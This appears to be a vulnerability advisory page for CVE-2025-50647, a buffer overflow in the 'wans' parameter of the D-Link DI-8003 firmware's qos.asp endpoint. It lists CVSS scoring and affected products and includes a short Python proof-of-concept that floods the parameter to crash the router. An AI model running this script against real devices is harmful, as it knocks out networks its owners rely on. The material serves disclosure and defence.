Security Vulnerability Report
中文
CVE-2025-50647 CVSS 7.5 HIGH

CVE-2025-50647

Published: 2026-04-08 19:24:15
Last Modified: 2026-04-22 16:16:49

Description

A buffer overflow vulnerability exists in D-Link DI-8003 16.07.26A1, specifically in the handling of the wans parameter in the qos.asp endpoint.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:dlink:di-8003_firmware:16.07.26a1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dlink:di-8003:-:*:*:*:*:*:*:* - NOT VULNERABLE
D-Link DI-8003 16.07.26A1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_poc(target_ip): """ PoC for CVE-2025-50647 Buffer Overflow in D-Link DI-8003 Target: qos.cgi endpoint (or qos.asp depending on firmware config) Parameter: wans """ url = f"http://{target_ip}/qos.asp" # Creating a large payload to trigger the buffer overflow payload = "A" * 1000 data = { "wans": payload } try: print(f"[+] Sending payload to {url}...") response = requests.post(url, data=data, timeout=5) print(f"[+] Status Code: {response.status_code}") print("[+] Exploit sent. Check if the device has crashed.") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") print("[-] The device might have crashed (DoS).") if __name__ == "__main__": target = "<TARGET_IP>" # Replace with actual IP exploit_poc(target)

References

Raw JSON Data

JSON
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